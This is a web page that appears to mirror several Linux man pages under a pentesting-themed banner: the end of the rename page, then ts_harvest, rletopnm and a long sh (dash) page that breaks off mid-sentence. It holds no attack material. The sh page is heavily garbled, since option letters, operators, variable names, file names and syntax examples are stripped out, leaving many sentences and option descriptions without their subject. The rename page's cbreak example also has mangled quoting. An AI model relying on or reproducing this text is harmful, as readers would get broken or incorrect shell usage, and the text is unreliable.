Do not make any changes; add –verbose to see what would be made.

-a, –all

Replace all occurrences of expression rather than only the first one.

-l, –last

Replace the last occurrence of expression rather than the first one.

-o, –no-overwrite

Do not overwrite existing files. When –symlink is active, do not overwrite symlinks pointing to existing targets.

-i, –interactive

Ask before overwriting existing files.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

WARNING

The renaming has no safeguards by default or without any one of the options –no-overwrite, –interactive or –no-act. If the user has permission to rewrite file names, the command will perform the action without any questions. For example, the result can be quite drastic when the command is run as root in the /lib directory. Always make a backup before running the command, unless you truly know what you are doing.

EDGE CASES

If the expression is empty, then by default replacement will be added to the start of the filename. With –all, replacement will be inserted in between every two characters of the filename, as well as at the start and end.

Normally, only the final path component of a filename is updated. (Or with –symlink, only the final path component of the link.) But if either expression or replacement contains a /, the full path is updated. This can cause a file to be moved between folders. Creating folders, and moving files between filesystems, is not supported.

INTERACTIVE MODE

As most standard utilities rename can be used with a terminal device (tty in short) in canonical mode, where the line is buffered by the tty and you press ENTER to validate the user input. If you put your tty in cbreak mode however, rename requires only a single key press to answer the prompt. To set cbreak mode, run for example:

sh -c stty -icanon min 1; “$0” “$@”; stty icanon rename -i from to files

EXIT STATUS

0

all requested rename operations were successful

1

all rename operations failed

2

some rename operations failed

4

nothing was renamed

64

unanticipated error occurred

EXAMPLES

Given the files foo1, …, foo9, foo10, …, foo278, the commands

rename foo foo00 foo? rename foo foo0 foo??

will turn them into foo001, …, foo009, foo010, …, foo278. And

rename .htm .html *.htm

will fix the extension of your html files. Provide an empty string for shortening:

rename _with_long_name file_with_long_name.*

will remove the substring in the filenames.

SEE ALSO

mv(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The rename command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1711 - Linux cli command ts_harvest

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_harvest and provides detailed information about the command ts_harvest, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_harvest.

NAME 🖥️ ts_harvest 🖥️

Harvest hundreds of raw touch screen coordinates.

SYNOPSIS

ts_harvest

DESCRIPTION

ts_harvest can be used to linearize non linear touch screens as found in the h2200 device. Touch screen coordinates are saved to ts_harvest.out

SEE ALSO

ts.conf (5), ts_test (1), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1712 - Linux cli command rletopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rletopnm and provides detailed information about the command rletopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rletopnm.

.

NAME 🖥️ rletopnm 🖥️

convert a Utah Raster Tools RLE image file to a PNM image file.

SYNOPSIS

rletopnm

[–alphaout={alpha-filename,-}] [–headerdump|-h]

[–verbose|-v]

[rlefile|-]

All options may be abbreviated to their minimum unique abbreviation and options and arguments may be in any order.

DESCRIPTION

This program is part of Netpbm(1) .

rletopnm converts Utah Raster Toolkit RLE image files to PNM image files. rletopnm handles four types of RLE files: Grayscale (8 bit data, no color map), Pseudocolor (8 bit data with a color map), Truecolor (24 bit data with color map), and Directcolor (24 bit data, no color map). rletopnm generates a PPM file for all these cases except for the Grayscale file, for which rletopnm generates a PGM file.

rlefile is the RLE input file. If it is absent or -, the input comes from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), rletopnm recognizes the following command line options:

**–alphaout=**alpha-filename
rletopnm creates a PGM (portable graymap) file containing the transparency channel values in the input image. If the input image doesn’t contain an transparency channel, the alpha-filename file contains all zero (transparent) transparency values. If you don’t specify –alphaout, rletopnm does not generate a transparency file, and if the input image has a transparency channel, rletopnm simply discards it.

If you specify - as the filename, rletopnm writes the transparency output to Standard Output and discards the image.

See pamcomp(1) for one way to use the transparency output file.

–verbose
This option causes rletopnm to operate in verbose mode. It prints messages about what it’s doing, including the contents of the RLE image header, to Standard Error.

–headerdump
This option causes rletopnm to operate in header dump mode. It prints the contents of the RLE image header to Standard Error, but does not produce any other output.

EXAMPLES

  • While running in verbose mode, convert lenna.rle to PPM format and store the resulting image as lenna.ppm:
    rletopnm --verbose lenna.rle >lenna.ppm
  • Dump the header information of the RLE file called file.rle:
    rletopnm --headerdump file.rle
  • Convert RLE file dart.rle to PPM format as dart.ppm. Store the transparency channel of dart.rle as dartalpha.pgm (if dart.rle doesn’t have a transparency channel, store a fully transparent transparency mask as dartalpha.pgm):
    rletopnm --alphaout=dartalpha.pgm dart.rle >dart.ppm

SEE ALSO

pnmtorle(1) , pnmconvol(1) , pnm(1) , ppm(1) , pgm(1) ,

AUTHOR

Wes Barris Army High Performance Computing Research Center (AHPCRC) Minnesota Supercomputer Center, Inc.

Modifications by Eric Haines to produce raw and plain formats.

Modifications by Bryan Henderson to create transparency files and use mnemonic options.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/rletopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1713 - Linux cli command sh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sh and provides detailed information about the command sh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sh.

is the standard command interpreter for the system. The current version of

is in the process of being changed to conform with the

1003.2 and 1003.2a specifications for the shell. This version has many features which make it appear similar in some respects to the Korn shell, but it is not a Korn shell clone (see

Only features designated by

plus a few Berkeley extensions, are being incorporated into this shell. This man page is not intended to be a tutorial or a complete specification of the shell.

The shell is a command that reads lines from either a file or the terminal, interprets them, and generally executes other commands. It is the program that is running when a user logs into the system (although a user can select a different shell with the

command). The shell implements a language that has flow control constructs, a macro facility that provides a variety of features in addition to data storage, along with built in history and line editing capabilities. It incorporates many features to aid interactive use and has the advantage that the interpretative language is common to both interactive and non-interactive use (shell scripts). That is, commands can be typed directly to the running shell or can be put into a file and the file can be executed directly by the shell.

If no args are present and if the standard input of the shell is connected to a terminal (or if the

flag is set), and the

option is not present, the shell is considered an interactive shell. An interactive shell generally prompts before each command and handles programming and command errors differently (as described below). When first starting, the shell inspects argument 0, and if it begins with a dash

the shell is also considered a login shell. This is normally done automatically by the system when the user first logs in. A login shell first reads commands from the files

and

if they exist. If the environment variable

is set on entry to an interactive shell, or is set in the

of a login shell, the shell next reads commands from the file named in

Therefore, a user should place commands that are to be executed only at login time in the

file, and commands that are executed for every interactive shell inside the

file. To set the

variable to some file, place the following line in your

of your home directory

substituting for

any filename you wish.

If command line arguments besides the options have been specified, then the shell treats the first argument as the name of a file from which to read commands (a shell script), and the remaining arguments are set as the positional parameters of the shell ($1, $2, etc). Otherwise, the shell reads commands from its standard input.

All of the single letter options that have a corresponding name can be used as an argument to the

option. The set

name is provided next to the single letter option in the description below. Specifying a dash

turns the option on, while using a plus

disables the option. The following options can be set from the command line or with the

builtin (described later).

Export all variables assigned to.

Read commands from the

operand instead of from the standard input. Special parameter 0 will be set from the

operand and the positional parameters ($1, $2, etc.) set from the remaining argument operands.

Don’t overwrite existing files with

If not interactive, exit immediately if any untested command fails. The exit status of a command is considered to be explicitly tested if the command is used to control an

or

or if the command is the left hand operand of an

or

operator.

Disable pathname expansion.

If not interactive, read commands but do not execute them. This is useful for checking the syntax of shell scripts.

Write a message to standard error when attempting to expand a variable that is not set, and if the shell is not interactive, exit immediately.

The shell writes its input to standard error as it is read. Useful for debugging.

Write each command to standard error (preceded by a

before it is executed. Useful for debugging.

Ignore EOF’s from input when interactive.

Force the shell to behave interactively.

Make dash act as if it had been invoked as a login shell.

Turn on job control (set automatically when interactive).

Read commands from standard input (set automatically if no file arguments are present). This option has no effect when set after the shell has already started running (i.e. with

Enable the built-in

command line editor (disables

if it has been set).

Enable the built-in

command line editor (disables

if it has been set).

Enable asynchronous notification of background job completion. (UNIMPLEMENTED for 4.4alpha)

Do not attempt to reset effective uid if it does not match uid. This is not set by default to help avoid incorrect usage by setuid root programs via system(3) or popen(3).

The shell reads input in terms of lines from a file and breaks it up into words at whitespace (blanks and tabs), and at certain sequences of characters that are special to the shell called

There are two types of operators: control operators and redirection operators (their meaning is discussed later). Following is a list of operators:

Quoting is used to remove the special meaning of certain characters or words to the shell, such as operators, whitespace, or keywords. There are three types of quoting: matched single quotes, matched double quotes, and backslash.

A backslash preserves the literal meaning of the following character, with the exception of

A backslash preceding a

is treated as a line continuation.

Enclosing characters in single quotes preserves the literal meaning of all the characters (except single quotes, making it impossible to put single-quotes in a single-quoted string).

Enclosing characters within double quotes preserves the literal meaning of all characters except dollarsign

backquote

and backslash

The backslash inside double quotes is historically weird, and serves to quote only the following characters:

Otherwise it remains literal.

Reserved words are words that have special meaning to the shell and are recognized at the beginning of a line and after a control operator. The following are reserved words:

Their meaning is discussed later.

An alias is a name and corresponding value set using the

builtin command. Whenever a reserved word may occur (see above), and after checking for reserved words, the shell checks the word to see if it matches an alias. If it does, it replaces it in the input stream with its value. For example, if there is an alias called

with the value

then the input:

would become

Aliases provide a convenient way for naive users to create shorthands for commands without having to learn how to create functions with arguments. They can also be used to create lexically obscure code. This use is discouraged.

The shell interprets the words it reads according to a language, the specification of which is outside the scope of this man page (refer to the BNF in the

1003.2 document). Essentially though, a line is read and if the first word of the line (or after a control operator) is not a reserved word, then the shell has recognized a simple command. Otherwise, a complex command or some other special construct may have been recognized.

If a simple command has been recognized, the shell performs the following actions:

Leading words of the form

are stripped off and assigned to the environment of the simple command. Redirection operators and their arguments (as described below) are stripped off and saved for processing.

The remaining words are expanded as described in the section called

and the first remaining word is considered the command name and the command is located. The remaining words are considered the arguments of the command. If no command name resulted, then the

variable assignments recognized in item 1 affect the current shell.

Redirections are performed as described in the next section.

Redirections are used to change where a command reads its input or sends its output. In general, redirections open, close, or duplicate an existing reference to a file. The overall format used for redirection is:

where

is one of the redirection operators mentioned previously. Following is a list of the possible redirections. The

is an optional number between 0 and 9, as in

(not

that refers to a file descriptor.

Redirect standard output (or n) to file.

Same, but override the

option.

Append standard output (or n) to file.

Redirect standard input (or n) from file.

Copy file descriptor n2 as stdout (or fd n1). fd n2.

Close standard input (or n).

Copy file descriptor n2 as stdin (or fd n1). fd n2.

Close standard output (or n).

Open file for reading and writing on standard input (or n).

The following redirection is often called a

All the text on successive lines up to the delimiter is saved away and made available to the command on standard input, or file descriptor n if it is specified. If the delimiter as specified on the initial line is quoted, then the here-doc-text is treated literally, otherwise the text is subjected to parameter expansion, command substitution, and arithmetic expansion (as described in the section on

If the operator is

instead of

then leading tabs in the here-doc-text are stripped.

There are three types of commands: shell functions, builtin commands, and normal programs – and the command is searched for (by name) in that order. They each are executed in a different way.

When a shell function is executed, all of the shell positional parameters (except $0, which remains unchanged) are set to the arguments of the shell function. The variables which are explicitly placed in the environment of the command (by placing assignments to them before the function name) are made local to the function and are set to the values given. Then the command given in the function definition is executed. The positional parameters are restored to their original values when the command completes. This all occurs within the current shell.

Shell builtins are executed internally to the shell, without spawning a new process.

Otherwise, if the command name doesn’t match a function or builtin, the command is searched for as a normal program in the file system (as described in the next section). When a normal program is executed, the shell runs the program, passing the arguments and the environment to the program. If the program is not a normal executable file (i.e., if it does not begin with the “magic number” whose

representation is “#!”, so

returns

then) the shell will interpret the program in a subshell. The child shell will reinitialize itself in this case, so that the effect will be as if a new shell had been invoked to handle the ad-hoc shell script, except that the location of hashed commands located in the parent shell will be remembered by the child.

Note that previous versions of this document and the source code itself misleadingly and sporadically refer to a shell script without a magic number as a “shell procedure”.

When locating a command, the shell first looks to see if it has a shell function by that name. Then it looks for a builtin command by that name. If a builtin command is not found, one of two things happen:

Command names containing a slash are simply executed without performing any searches.

The shell searches each entry in

in turn for the command. The value of the

variable should be a series of entries separated by colons. Each entry consists of a directory name. The current directory may be indicated implicitly by an empty directory name, or explicitly by a single period.

Each command has an exit status that can influence the behaviour of other shell commands. The paradigm is that a command exits with zero for normal or success, and non-zero for failure, error, or a false indication. The man page for each command should indicate the various exit codes and what they mean. Additionally, the builtin commands return exit codes, as does an executed shell function.

If a command consists entirely of variable assignments then the exit status of the command is that of the last command substitution if any, otherwise 0.

Complex commands are combinations of simple commands with control operators or reserved words, together creating a larger complex command. More generally, a command is one of the following:

simple command

pipeline

list or compound-list

compound command

function definition

Unless otherwise stated, the exit status of a command is that of the last simple command executed by the command.

A pipeline is a sequence of one or more commands separated by the control operator |. The standard output of all but the last command is connected to the standard input of the next command. The standard output of the last command is inherited from the shell, as usual.

The format for a pipeline is:

The standard output of command1 is connected to the standard input of command2. The standard input, standard output, or both of a command is considered to be assigned by the pipeline before any redirection specified by redirection operators that are part of the command.

If the pipeline is not in the background (discussed later), the shell waits for all commands to complete.

If the

option was enabled when the shell began execution of the pipeline, the pipeline’s exit status is the exit status of the last command specified in the pipeline that exited with non-zero status, or zero if all commands in the pipeline exited with a status of zero. If the

option was not enabled, the pipeline’s exit status is the exit status of the last command specified in the pipeline; the exit statuses of any other commands are not used. If the reserved word ! precedes the pipeline, its exit status is the logical NOT of the exit status described above.

Because pipeline assignment of standard input or standard output or both takes place before redirection, it can be modified by redirection. For example:

sends both the standard output and standard error of command1 to the standard input of command2.

A ; or

terminator causes the preceding AND-OR-list (described next) to be executed sequentially; a & causes asynchronous execution of the preceding AND-OR-list.

Note that unlike some other shells, each process in the pipeline is a child of the invoking shell (unless it is a shell builtin, in which case it executes in the current shell – but any effect it has on the environment is wiped).

If a command is terminated by the control operator ampersand (&), the shell executes the command asynchronously – that is, the shell does not wait for the command to finish before executing the next command.

The format for running a command in background is:

If the shell is not interactive, the standard input of an asynchronous command is set to

A list is a sequence of zero or more commands separated by newlines, semicolons, or ampersands, and optionally terminated by one of these three characters. The commands in a list are executed in the order they are written. If command is followed by an ampersand, the shell starts the command and immediately proceeds onto the next command; otherwise it waits for the command to terminate before proceeding to the next one.

and

are AND-OR list operators.

executes the first command, and then executes the second command if and only if the exit status of the first command is zero.

is similar, but executes the second command if and only if the exit status of the first command is nonzero.

and

both have the same priority.

The syntax of the if command is

if list then list [ elif list then list ] … [ else list ] fi

The syntax of the while command is

while list do list done

The two lists are executed repeatedly while the exit status of the first list is zero. The until command is similar, but has the word until in place of while, which causes it to repeat until the exit status of the first list is zero.

The syntax of the for command is

for variable [ in [ word … ] ] do list done

The words following

are expanded, and then the list is executed repeatedly with the variable set to each word in turn. Omitting in word … is equivalent to in “$@”.

The syntax of the break and continue command is

break [ num ] continue [ num ]

Break terminates the num innermost for or while loops. Continue continues with the next iteration of the innermost loop. These are implemented as builtin commands.

The syntax of the case command is

case word in [(]pattern) list ;; … esac

The pattern can actually be one or more patterns (see

described later), separated by

characters. The

(

character before the pattern is optional.

Commands may be grouped by writing either

or

The first of these executes the commands in a subshell. Builtin commands grouped into a (list) will not affect the current shell. The second form does not fork another shell so is slightly more efficient. Grouping commands together this way allows you to redirect their output as though they were one program:

{ printf hello ; printf world " ; } greeting

Note that

must follow a control operator (here,

so that it is recognized as a reserved word and not as another command argument.

The syntax of a function definition is

A function definition is an executable statement; when executed it installs a function named name and returns an exit status of zero. The command is normally a list enclosed between

and

Variables may be declared to be local to a function by using a local command. This should appear as the first statement of a function, and the syntax is

Local is implemented as a builtin command.

When a variable is made local, it inherits the initial value and exported and readonly flags from the variable with the same name in the surrounding scope, if there is one. Otherwise, the variable is initially unset. The shell uses dynamic scoping, so that if you make the variable x local to function f, which then calls function g, references to the variable x made inside g will refer to the variable x declared inside f, not to the global variable named x.

The only special parameter that can be made local is

Making

local any shell options that are changed via the set command inside the function to be restored to their original values when the function returns.

The syntax of the return command is

It terminates the currently executing function. Return is implemented as a builtin command.

The shell maintains a set of parameters. A parameter denoted by a name is called a variable. When starting up, the shell turns all the environment variables into shell variables. New variables can be set using the form

Variables set by the user must have a name consisting solely of alphabetics, numerics, and underscores - the first of which must not be numeric. A parameter can also be denoted by a number or a special character as explained below.

A positional parameter is a parameter denoted by a number (n 0). The shell sets these initially to the values of its command line arguments that follow the name of the shell script. The

builtin can also be used to set or reset them.

A special parameter is a parameter denoted by one of the following special characters. The value of the parameter is listed next to its character.

Expands to the positional parameters, starting from one. When the expansion occurs within a double-quoted string it expands to a single field with the value of each parameter separated by the first character of the

variable, or by a

if

is unset.

Expands to the positional parameters, starting from one. When the expansion occurs within double-quotes, each positional parameter expands as a separate argument. If there are no positional parameters, the expansion of @ generates zero arguments, even when @ is double-quoted. What this basically means, for example, is if $1 is

and $2 is

then

expands to the two arguments:

Expands to the number of positional parameters.

Expands to the exit status of the most recent pipeline.

Expands to the current option flags (the single-letter option names concatenated into a string) as specified on invocation, by the set builtin command, or implicitly by the shell.

Expands to the process ID of the invoked shell. A subshell retains the same value of $ as its parent.

Expands to the process ID of the most recent background command executed from the current shell. For a pipeline, the process ID is that of the last command in the pipeline.

Expands to the name of the shell or shell script.

This clause describes the various expansions that are performed on words. Not all expansions are performed on every word, as explained later.

Tilde expansions, parameter expansions, command substitutions, arithmetic expansions, and quote removals that occur within a single word expand to a single field. It is only field splitting or pathname expansion that can create multiple fields from a single word. The single exception to this rule is the expansion of the special parameter @ within double-quotes, as was described above.

The order of word expansion is:

Tilde Expansion, Parameter Expansion, Command Substitution, Arithmetic Expansion (these all occur at the same time).

Field Splitting is performed on fields generated by step (1) unless the

variable is null.

Pathname Expansion (unless set

is in effect).

Quote Removal.

The $ character is used to introduce parameter expansion, command substitution, or arithmetic evaluation.

A word beginning with an unquoted tilde character (~) is subjected to tilde expansion. All the characters up to a slash (/) or the end of the word are treated as a username and are replaced with the user’s home directory. If the username is missing (as in

the tilde is replaced with the value of the

variable (the current user’s home directory).

The format for parameter expansion is as follows:

where expression consists of all characters until the matching

Any

escaped by a backslash or within a quoted string, and characters in embedded arithmetic expansions, command substitutions, and variable expansions, are not examined in determining the matching

The simplest form for parameter expansion is:

The value, if any, of parameter is substituted.

The parameter name or symbol can be enclosed in braces, which are optional except for positional parameters with more than one digit or when parameter is followed by a character that could be interpreted as part of the name. If a parameter expansion occurs inside double-quotes:

Pathname expansion is not performed on the results of the expansion.

Field splitting is not performed on the results of the expansion, with the exception of @.

In addition, a parameter expansion can be modified by using one of the following formats.

Use Default Values. If parameter is unset or null, the expansion of word is substituted; otherwise, the value of parameter is substituted.

Assign Default Values. If parameter is unset or null, the expansion of word is assigned to parameter. In all cases, the final value of parameter is substituted. Only variables, not positional parameters or special parameters, can be assigned in this way.

Indicate Error if Null or Unset. If parameter is unset or null, the expansion of word (or a message indicating it is unset if word is omitted) is written to standard error and the shell exits with a nonzero exit status. Otherwise, the value of parameter is substituted. An interactive shell need not exit.

Use Alternative Value. If parameter is unset or null, null is substituted; otherwise, the expansion of word is substituted.

In the parameter expansions shown previously, use of the colon in the format results in a test for a parameter that is unset or null; omission of the colon results in a test for a parameter that is only unset.

String Length. The length in characters of the value of parameter.

The following four varieties of parameter expansion provide for substring processing. In each case, pattern matching notation (see

rather than regular expression notation, is used to evaluate the patterns. If parameter is * or @, the result of the expansion is unspecified. Enclosing the full parameter expansion string in double-quotes does not cause the following four varieties of pattern characters to be quoted, whereas quoting characters within the braces has this effect.

Remove Smallest Suffix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the smallest portion of the suffix matched by the pattern deleted.

Remove Largest Suffix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the largest portion of the suffix matched by the pattern deleted.

Remove Smallest Prefix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the smallest portion of the prefix matched by the pattern deleted.

Remove Largest Prefix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the largest portion of the prefix matched by the pattern deleted.

Command substitution allows the output of a command to be substituted in place of the command name itself. Command substitution occurs when the command is enclosed as follows:

or

version

The shell expands the command substitution by executing command in a subshell environment and replacing the command substitution with the standard output of the command, removing sequences of one or more

at the end of the substitution. (Embedded

before the end of the output are not removed; however, during field splitting, they may be translated into

depending on the value of

and quoting that is in effect.)

Arithmetic expansion provides a mechanism for evaluating an arithmetic expression and substituting its value. The format for arithmetic expansion is as follows:

The expression is treated as if it were in double-quotes, except that a double-quote inside the expression is not treated specially. The shell expands all tokens in the expression for parameter expansion, command substitution, and quote removal.

Next, the shell treats this as an arithmetic expression and substitutes the value of the expression.

After parameter expansion, command substitution, and arithmetic expansion the shell scans the results of expansions and substitutions that did not occur in double-quotes for field splitting and multiple fields can result.

The shell treats each character of the

as a delimiter and uses the delimiters to split the results of parameter expansion and command substitution into fields.

Unless the

flag is set, file name generation is performed after word splitting is complete. Each word is viewed as a series of patterns, separated by slashes. The process of expansion replaces the word with the names of all existing files whose names can be formed by replacing each pattern with a string that matches the specified pattern. There are two restrictions on this: first, a pattern cannot match a string containing a slash, and second, a pattern cannot match a string starting with a period unless the first character of the pattern is a period. The next section describes the patterns used for both Pathname Expansion and the

command.

A pattern consists of normal characters, which match themselves, and meta-characters. The meta-characters are

and

These characters lose their special meanings if they are quoted. When command or variable substitution is performed and the dollar sign or back quotes are not double quoted, the value of the variable or the output of the command is scanned for these characters and they are turned into meta-characters.

An asterisk

matches any string of characters. A question mark matches any single character. A left bracket

introduces a character class. The end of the character class is indicated by a

if the

is missing then the

matches a

rather than introducing a character class. A character class matches any of the characters between the square brackets. A range of characters may be specified using a minus sign. The character class may be complemented by making an exclamation point the first character of the character class.

To include a

in a character class, make it the first character listed (after the

if any). To include a minus sign, make it the first or last character listed.

This section lists the builtin commands which are builtin because they need to perform some operation that can’t be performed by a separate process. In addition to these, there are several other commands that may be builtin for efficiency (e.g.

etc).

A null command that returns a 0 (true) exit value.

A null command that returns a 1 (false) exit value.

The commands in the specified file are read and executed by the shell.

If

is specified, the shell defines the alias

with value

If just

is specified, the value of the alias

is printed. With no arguments, the

builtin prints the names and values of all defined aliases (see

Continue the specified jobs (or the current job if no jobs are given) in the background.

Execute the specified command but ignore shell functions when searching for it. (This is useful when you have a shell function with the same name as a builtin command.)

search for command using a

that guarantees to find all the standard utilities.

Do not execute the command but search for the command and print the resolution of the command search. This is the same as the type builtin.

Do not execute the command but search for the command and print the absolute pathname of utilities, the name for builtins or the expansion of aliases.

Switch to the specified directory (default

If an entry for

appears in the environment of the

command or the shell variable

is set and the directory name does not begin with a slash, then the directories listed in

will be searched for the specified directory. The format of

is the same as that of

If a single dash is specified as the argument, it will be replaced by the value of

The

command will print out the name of the directory that it actually switched to if this is different from the name that the user gave. These may be different either because the

mechanism was used or because the argument is a single dash. The

option causes the physical directory structure to be used, that is, all symbolic links are resolved to their respective values. The

option turns off the effect of any preceding

options.

Print the arguments on the standard output, separated by spaces. Unless the

option is present, a newline is output following the arguments.

If any of the following sequences of characters is encountered during output, the sequence is not output. Instead, the specified action is performed:

A backspace character is output.

Subsequent output is suppressed. This is normally used at the end of the last argument to suppress the trailing newline that

would otherwise output.

Outputs an escape character (ESC).

Output a form feed.

Output a newline character.

Output a carriage return.

Output a (horizontal) tab character.

Output a vertical tab.

Output the character whose value is given by zero to three octal digits. If there are zero digits, a nul character is output.

Output a backslash.

All other backslash sequences elicit undefined behaviour.

Concatenate all the arguments with spaces. Then re-parse and execute the command.

Unless command is omitted, the shell process is replaced with the specified program (which must be a real program, not a shell builtin or function). Any redirections on the

command are marked as permanent, so that they are not undone when the

command finishes.

Terminate the shell process. If

is given it is used as the exit status of the shell; otherwise the exit status of the preceding command is used.

The specified names are exported so that they will appear in the environment of subsequent commands. The only way to un-export a variable is to unset it. The shell allows the value of a variable to be set at the same time it is exported by writing

With no arguments the export command lists the names of all exported variables. With the

option specified the output will be formatted suitably for non-interactive use.

The

builtin lists, or edits and re-executes, commands previously entered to an interactive shell.

Use the editor named by editor to edit the commands. The editor string is a command name, subject to search via the

variable. The value in the

variable is used as a default when

is not specified. If

is null or unset, the value of the

variable is used. If

is null or unset,

is used as the editor.

List the commands rather than invoking an editor on them. The commands are written in the sequence indicated by the first and last operands, as affected by

with each command preceded by the command number.

Suppress command numbers when listing with -l.

Reverse the order of the commands listed (with

or edited (with neither

nor

Re-execute the command without invoking an editor.

Select the commands to list or edit. The number of previous commands that can be accessed are determined by the value of the

variable. The value of first or last or both are one of the following:

A positive number representing a command number; command numbers can be displayed with the

option.

A negative decimal number representing the command that was executed number of commands previously. For example, -1 is the immediately previous command.

A string indicating the most recently entered command that begins with that string. If the old=new operand is not also specified with

the string form of the first operand cannot contain an embedded equal sign.

The following environment variables affect the execution of fc:

Name of the editor to use.

The number of previous commands that are accessible.

Move the specified job or the current job to the foreground.

The

command, not to be confused with the

The first argument should be a series of letters, each of which may be optionally followed by a colon to indicate that the option requires an argument. The variable specified is set to the parsed option.

The

command deprecates the older

utility due to its handling of arguments containing whitespace.

The

builtin may be used to obtain options and their arguments from a list of parameters. When invoked,

places the value of the next option from the option string in the list in the shell variable specified by

and its index in the shell variable

When the shell is invoked,

is initialized to 1. For each option that requires an argument, the

builtin will place it in the shell variable

If an option is not allowed for in the

then

will be unset.

By default, the variables

are inspected; if

are specified, they’ll be parsed instead.

is a string of recognized option letters (see

If a letter is followed by a colon, the option is expected to have an argument which may or may not be separated from it by white space. If an option character is not found where expected,

will set the variable

to a

will then unset

and write output to standard error. By specifying a colon as the first character of

all errors will be ignored.

After the last option

will return a non-zero value and set

to

The following code fragment shows how one might process the arguments for a command that can take the options

and

and the option

which requires an argument.

while getopts abc: f do case $f in a | b) flag=$f;; c) carg=$OPTARG;; ) echo $USAGE; exit 1;; esac done shift $((OPTIND - 1))

This code will accept any of the following as equivalent:

cmd -acarg file file cmd -a -c arg file file cmd -carg -a file file cmd -a -carg – file file

The shell maintains a hash table which remembers the locations of commands. With no arguments whatsoever, the

command prints out the contents of this table. Entries which have not been looked at since the last

command are marked with an asterisk; it is possible for these entries to be invalid.

With arguments, the

command removes the specified commands from the hash table (unless they are functions) and then locates them. The

option causes the hash command to delete all the entries in the hash table except for functions.

Display the status of all, or just the specified,

display the job number, currency

status, if any, the job state, and its shell command.

also output the PID of the group leader, and just the PID and shell commands of other members of the job.

Display only leader PIDs, one per line.

Equivalent to

but a

spec may also be specified. Signals can be either case-insensitive names without

prefixes or decimal numbers; the default is

List available signal names without the

prefix

If

specified, display just the

for that signal. If

specified

display just the

that caused it.

builtin command remembers what the current directory is rather than recomputing it each time. This makes it faster. However, if the current directory is renamed, the builtin version of

will continue to print the old name for the directory. The

option causes the physical value of the current working directory to be shown, that is, all symbolic links are resolved to their respective values. The

option turns off the effect of any preceding

options.

The prompt is printed if the

